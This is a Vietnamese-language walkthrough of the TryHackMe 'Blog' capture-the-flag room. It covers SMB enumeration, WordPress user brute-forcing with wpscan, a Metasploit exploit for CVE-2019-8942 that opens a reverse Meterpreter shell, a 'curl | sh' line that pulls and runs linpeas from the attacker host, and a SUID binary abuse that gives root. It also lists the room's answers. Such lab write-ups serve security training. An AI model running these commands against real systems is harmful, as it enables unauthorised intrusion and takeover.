Bài viết

TryHackMe - Blog

Kiểm tra tệp nhị phân để tìm mã?

TryHackMe - Blog

Giới thiệu

Cá nhân tôi KHÔNG khuyên sử dụng WordPress trừ khi thực sự bắt buộc.

Số lượng lỗ hổng được phát hiện hằng ngày là khủng khiếp.

Ban đầu, tôi không nghĩ đây là một thử thách Trung bình, nhưng sau khi phát hiện ra tệp nhị phân và bắt đầu phân tích nó, tôi nhận ra thử thách này không hề đơn giản.

Tryhackme Room Link

Nmap

Hãy bắt đầu bằng việc quét với Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.139.64
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
|   256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_  256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-title: Billy Joel's IT Blog – The IT blog
|_http-generator: WordPress 5.0
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-02-28T14:11:25
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: blog
|   NetBIOS computer name: BLOG\x00
|   Domain name: \x00
|   FQDN: blog
|_  System time: 2025-02-28T14:11:25+00:00
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Các cổng đang mở:

22/tcp 80/tcp 139/tcp 445/tcp

Trinh sát

Vì các cổng SMB đang mở, hãy quét các Samba share bằng enum4linux.

1
$ enum4linux -a 10.10.139.64

Chúng ta có thể thấy share của Billy.

1
2
3
print$          Disk      Printer Drivers
BillySMB        Disk      Billy's local SMB Share
IPC$            IPC       IPC Service (blog server (Samba, Ubuntu))

Hãy kết nối với share này và tải xuống các tệp có sẵn.

1
2
3
4
5
6
7
8
9
10
11
12
$ smbclient \\\\10.10.139.64\\BillySMB\\                                                                     
Password for [WORKGROUP\rene]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue May 26 20:17:05 2020
  ..                                  D        0  Tue May 26 19:58:23 2020
  Alice-White-Rabbit.jpg              N    33378  Tue May 26 20:17:01 2020
  tswift.mp4                          N  1236733  Tue May 26 20:13:45 2020
  check-this.png                      N     3082  Tue May 26 20:13:43 2020

                15413192 blocks of size 1024. 9790060 blocks available
smb: \> 

Bây giờ, chúng ta có thể kiểm tra các tệp. Tôi sẽ thực hiện theo cách sau:

  1. Mount share vào thư mục cục bộ
  2. Rời khỏi thư mục rồi truy cập lại để làm mới nội dung
1
2
3
4
5
$ sudo mount -t cifs //10.10.139.64/BillySMB /home/rene/tryhackme/blog
$ cd ..
$ cd blog
$ ls
Alice-White-Rabbit.jpg  check-this.png  tswift.mp4

Hãy kiểm tra các tệp.

1
$ xdg-open Alice-White-Rabbit.jpg

Rabbit

1
$ xdg-open check-this.png

QR Code

Mã QR dẫn chúng ta đến https://www.youtube.com/watch?v=eFTLKWw542g -> bài hát We Didn’t Start the Fire

Và video là một con dê đang hét theo bài hát :D

Hãy kiểm tra các hình ảnh bằng steghide.

Được rồi, công cụ yêu cầu passphrase, nhưng chúng ta không biết nó.

Trích xuất một số thông tin:

1
2
3
4
5
6
7
8
9
10
$ steghide --info Alice-White-Rabbit.jpg 
"Alice-White-Rabbit.jpg":
  format: jpeg
  capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file "rabbit_hole.txt":
    size: 48.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes

Có vẻ đây chỉ là một rabbit hole

Hãy truy cập trang web 10.10.139.64.

Nó trông giống như một trang web WordPress tiêu chuẩn.

Có một công cụ rất hữu ích dành cho các trang web WordPress tên là wpscan, cho phép chúng ta liệt kê tên người dùng. Hãy sử dụng nó.

1
$ wpscan --url http://10.10.139.64 --enumerate u

Chúng ta tìm thấy 2 người dùng:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[i] User(s) Identified:

[+] bjoel
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] kwheel
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Hãy thử brute-force. Chúng ta thậm chí có thể làm điều đó bằng wpscan.

1
wpscan --url http://10.10.139.64 -P /usr/share/wordlists/rockyou.txt -U "kwheel"

kwheel password

Biểu mẫu đăng nhập chỉ hoạt động thông qua blog.thm, vì vậy chúng ta cần thêm địa chỉ IP vào tệp /etc/hosts để có thể truy cập bằng hostname.

1
2
echo "10.10.139.64 blog.thm" | sudo tee -a /etc/hosts
10.10.139.64 blog.thm

Tôi đã thử tải tệp reverse shell lên phần media nhưng có vẻ không hoạt động.

Sau khi tìm hiểu một chút về việc tải hình ảnh lên WordPress, tôi phát hiện lỗ hổng CVE-2019-8942.

Hãy mở Metasploit và kiểm tra xem có module nào dành cho lỗ hổng này hay không.

1
2
3
4
5
6
7
8
9
msfconsole
msf6 > search CVE-2019-8942

Matching Modules
================

   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/multi/http/wp_crop_rce  2019-02-19       excellent  Yes    WordPress Crop-image Shell Upload

May mắn thay, có một module phù hợp, vì vậy hãy sử dụng nó.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf6 > use use exploit/multi/http/wp_crop_rce
msf6 exploit(multi/http/wp_crop_rce) > options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metas
                                         ploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THEME_DIR                   no        The WordPress theme dir name (disable theme auto-detection if provid
                                         ed)
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.133.135  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Hãy thiết lập các tùy chọn bắt buộc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 exploit(multi/http/wp_crop_rce) > set PASSWORD <CENSORED>
msf6 exploit(multi/http/wp_crop_rce) > set RHOSTS blog.thm
msf6 exploit(multi/http/wp_crop_rce) > set username kwheel
msf6 exploit(multi/http/wp_crop_rce) > set LHOST 10.11.75.122
msf6 exploit(multi/http/wp_crop_rce) > exploit
[*] Started reverse TCP handler on 10.11.75.122:4444 
[*] Authenticating with WordPress using kwheel:<CENSORED>...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (40004 bytes) to 10.10.139.64
[*] Attempting to clean up files...
[*] Meterpreter session 1 opened (10.11.75.122:4444 -> 10.10.139.64:45118) at 2025-02-28 16:29:26 +0100
meterpreter > 

Và chúng ta đã có một Meterpreter session.

Hãy chuyển sang TTY shell bằng lệnh shell.

Có vẻ như tệp flag user.txt lần này không thực sự là flag.

Leo thang đặc quyền

Hãy leo thang đặc quyền.

sudo -l không hoạt động, vì vậy hãy thử tải linpeas.sh từ máy của chúng ta xuống và chạy nó.

Đừng quên khởi động máy chủ HTTP cục bộ trong thư mục chứa linpeas.sh.

1
curl 10.11.75.122/linpeas.sh | sh

Thật bất ngờ, không có gì hữu ích…

Sau khi tìm kiếm trên Google, tôi phát hiện https://github.com/Anon-Exploiter/SUID3NUM, vì vậy hãy tải nó xuống và chạy.

1
curl 10.11.75.122/suid3num.py

Cuối cùng cũng có thứ gì đó hữu ích.

Checker

Hãy tải tệp xuống. Khởi động máy chủ HTTP cục bộ trên máy mục tiêu tại thư mục chứa tệp checker.

1
$ wget http://10.10.139.64:8000/checker 

Hãy phân tích tệp nhị phân bằng công cụ Ghidra.

Sau một thời gian dài điều tra, có vẻ chúng ta đã tìm thấy đoạn mã cần thiết.

Ghidra

Chức năng của mã:

  1. Lấy giá trị của biến môi trường admin bằng getenv("admin")
  2. Kiểm tra xem biến admin đã được thiết lập hay chưa
  • Nếu admin chưa được thiết lập, tức là NULL, in ra "Not an Admin."
  • Nếu admin đã được thiết lập, tiếp tục sang bước tiếp theo
  1. Leo thang đặc quyền bằng cách gọi setuid(0) để đặt user ID thành root, nếu được phép
  2. Tạo một shell mới bằng cách chạy system("/bin/bash") để mở root shell

Về cơ bản, chúng ta chỉ cần đặt biến admin thành bất kỳ giá trị nào rồi chạy checker.

1
2
3
admin=rene /usr/sbin/checker
id
uid=0(root) gid=33(www-data) groups=33(www-data)

Root Flag

Bây giờ, chúng ta có thể lấy tất cả các flag.

User:

Root Flag

Root:

Root Flag

Các câu hỏi còn lại:

Tệp user.txt được tìm thấy ở đâu?

Câu trả lời:

1
/media/usb

Billy đang sử dụng CMS nào?

Câu trả lời:

1
Wordpress

Phiên bản của CMS trên là gì?

1
5.0
Bài viết này được cấp phép bởi tác giả theo giấy phép CC BY 4.0 .